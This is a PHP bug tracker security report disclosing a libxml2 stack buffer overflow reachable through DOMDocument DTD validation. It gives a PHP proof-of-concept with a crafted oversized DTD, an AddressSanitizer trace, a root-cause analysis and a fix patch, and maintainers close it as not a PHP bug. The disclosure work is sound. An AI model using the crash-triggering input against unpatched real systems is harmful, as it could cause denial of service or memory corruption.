php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #74459 Stack-based Buffer Overflow in DOM validation
Submitted: 2017-04-17 10:13 UTC Modified: 2017-06-25 07:14 UTC
From: marcel dot boehme at acm dot org Assigned:
Status: Not a bug Package: DOM XML related
PHP Version: master-Git-2017-04-17 (Git) OS: Linux
Private report: No CVE-ID: None
 [2017-04-17 10:13 UTC] marcel dot boehme at acm dot org
Description:
------------
Dear all,

In a fuzzing session with AFLGo, a directed version of AFL/AFLFast, we found a stack-based buffer overflow in LibXML2 (git master) -- causing an invalid WRITE of size 4925. Thanks also to Thuan Pham!

Our upstream bug report (currently non-public): https://bugzilla.gnome.org/show_bug.cgi?id=781333 

$ ../libxml2/xmllint --version
/src/libxml2/.libs/lt-xmllint: using libxml version 20904-GITv2.9.4-16-g0741801
   compiled with: Threads Tree Output Push Reader Patterns Writer SAXv1 FTP HTTP DTDValid HTML Legacy C14N Catalog XPath XPointer XInclude Iconv ISO8859X Unicode Regexps Automata Expr Schemas Schematron Modules Debug

$ sapi/cli/php --version                                                                               
PHP 7.2.0-dev (cli) (built: Apr 17 2017 09:22:02) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.2.0-dev, Copyright (c) 1998-2017 Zend Technologies

How to reproduce:
* Configure and build Libxml2 with ASAN
* Configure PHP --with-libxml-dir ..
* Build PHP with ASAN

$ php test.xml (see below)



Test script:
---------------
<?php
$doc = new DOMDocument();
$doc->validateOnParse = TRUE;
$doc->loadXML('<!DOCTYPEa[<!ELEMENT a (F0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000:0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)><!ATTLIST a><!ELEMENT b EMPTY><!ATTLIST b s CDATA #IMPLIED>]><a/>');
var_dump($err)
?>

Expected result:
----------------
Warning: DOMDocument::loadXML(): Element a content does not follow the DTD, expecting (F0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000: ..., got  in Entity, line: 1 in /src/php-src/test.php on line 4
NULL

Actual result:
--------------
==131756==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffeb7f9dec8 at pc 0x0000004bb620 bp 0x7ffeb7f9ca60 sp 0x7ffeb7f9c210
WRITE of size 4925 at 0x7ffeb7f9dec8 thread T0
    #0 0x4bb61f in __interceptor_strcat /src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:491
    #1 0x7f43cee2485c in xmlSnprintfElementContent__internal_alias /src/libxml2/valid.c:1279:3
    #2 0x7f43cee59cc8 in xmlValidateElementContent /src/libxml2/valid.c:5445:6
    #3 0x7f43cee59cc8 in xmlValidateOneElement__internal_alias /src/libxml2/valid.c:6152
    #4 0x7f43cf2bb096 in xmlSAX2EndElementNs__internal_alias /src/libxml2/SAX2.c:2467:24
    #5 0x7f43ced3a4ca in xmlParseElement__internal_alias /src/libxml2/parser.c:10212:3
    #6 0x7f43ced53748 in xmlParseDocument__internal_alias /src/libxml2/parser.c:10962:2
    #7 0x1212387 in dom_document_parser /src/php-src/ext/dom/document.c:1449:2
    #8 0x1212387 in dom_parse_document /src/php-src/ext/dom/document.c:1505
    #9 0x20da413 in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER /src/php-src/Zend/zend_vm_execute.h:954:4
    #10 0x1ee529e in execute_ex /src/php-src/Zend/zend_vm_execute.h:432:7
    #11 0x1ee663e in zend_execute /src/php-src/Zend/zend_vm_execute.h:474:2
    #12 0x1cfa501 in zend_execute_scripts /src/php-src/Zend/zend.c:1537:4
    #13 0x1a17ae4 in php_execute_script /src/php-src/main/main.c:2548:14
    #14 0x236834c in do_cli /src/php-src/sapi/cli/php_cli.c:997:5
    #15 0x23640df in main /src/php-src/sapi/cli/php_cli.c:1390:18
    #16 0x7f43ce1e482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #17 0x43b238 in _start (/src/php-src/sapi/cli/php+0x43b238)

Address 0x7ffeb7f9dec8 is located in stack of thread T0 at offset 5128 in frame
    #0 0x7f43cee52dcf in xmlValidateOneElement__internal_alias /src/libxml2/valid.c:5943

  This frame has 5 object(s):
    [32, 82) 'fn.i' (line 5288)
    [128, 5128) 'expr.i' (line 5441)
    [5392, 10392) 'list.i' (line 5442) <== Memory access at offset 5128 partially underflows this variable
    [10656, 10660) 'extsubset' (line 5950)
    [10672, 10722) 'fn' (line 6063)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:491 in __interceptor_strcat

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2017-05-05 03:58 UTC] marcel dot boehme at acm dot org
Upstream is not responding. Attaching a patch and analysis here.

Here is a quick analysis: 
The function xmlSnprintfElementContent in valid.c is supposed to recursively dump the element content definition into a char buffer 'buf' of size 'size'. The variable len is assigned strlen(buf). If the content->type is XML_ELEMENT_CONTENT_ELEMENT, then (i) the content->prefix is appended to buf (if it actually fits) whereupon (ii) content->name is written to the buffer. However, the check whether the content->name actually fits also uses 'len' rather than the updated buffer length strlen(buf). This allows us to write about "size" many bytes beyond the allocated memory.


Proposed Patch:

diff --git a/valid.c b/valid.c
index 8bd8336..e04479e 100644
--- a/valid.c
+++ b/valid.c
@@ -1270,6 +1270,7 @@ xmlSnprintfElementContent(char *buf, int size, xmlElementContentPtr content, int
                }
                strcat(buf, (char *) content->prefix);
                strcat(buf, ":");
+               len += xmlStrlen(content->prefix);
            }
            if (size - len < xmlStrlen(content->name) + 10) {
                strcat(buf, " ...");
 [2017-06-06 01:49 UTC] marcel dot boehme at acm dot org
Assigned CVE-2017-9047 and CVE-2017-9048 [1], [2]
Fixed in LibXML2 trunk [3]

Kindly checkout from LibXML2 trunk, assess whether this is considered a security issue, and what is its severity.

[1] .. http://www.openwall.com/lists/oss-security/2017/05/15/1
[2] .. http://www.openwall.com/lists/oss-security/2017/05/22/1
[3] .. https://git.gnome.org/browse/libxml2/commit/?id=932cc9896ab41475d4aa429c27d9afd175959d74
 [2017-06-25 01:11 UTC] marcel dot boehme at acm dot org
-Package: XML related +Package: DOM XML related
 [2017-06-25 01:11 UTC] marcel dot boehme at acm dot org
*ping*
 [2017-06-25 06:37 UTC] stas@php.net
-Status: Open +Status: Feedback
 [2017-06-25 06:37 UTC] stas@php.net
Same question here - what is there to do on PHP side? This seems to be libxml2 issue.
 [2017-06-25 07:09 UTC] marcel dot boehme at acm dot org
-Status: Feedback +Status: Open
 [2017-06-25 07:09 UTC] marcel dot boehme at acm dot org
While these are certainly not bugs in PHP, our reports do constitute vulnerabilities in PHP as demonstrated with our test cases. From our understanding a vulnerability in a third-party library that can be reproduced in PHP warrants the classification as security issue (https://wiki.php.net/security). When a PHP maintainer has decided on the classification, we would trigger the process with the Internet Bug Bounty Panel.

As far as PHP users are concerned, the vulnerability is fixed when LibXML is updated.
 [2017-06-25 07:12 UTC] stas@php.net
-Status: Open +Status: Not a bug
 [2017-06-25 07:12 UTC] stas@php.net
Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions.  Due to the volume
of reports we can not explain in detail here why your report is not
a bug.  The support channels will be able to provide an explanation
for you.

Thank you for your interest in PHP.


 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Dec 26 14:01:30 2024 UTC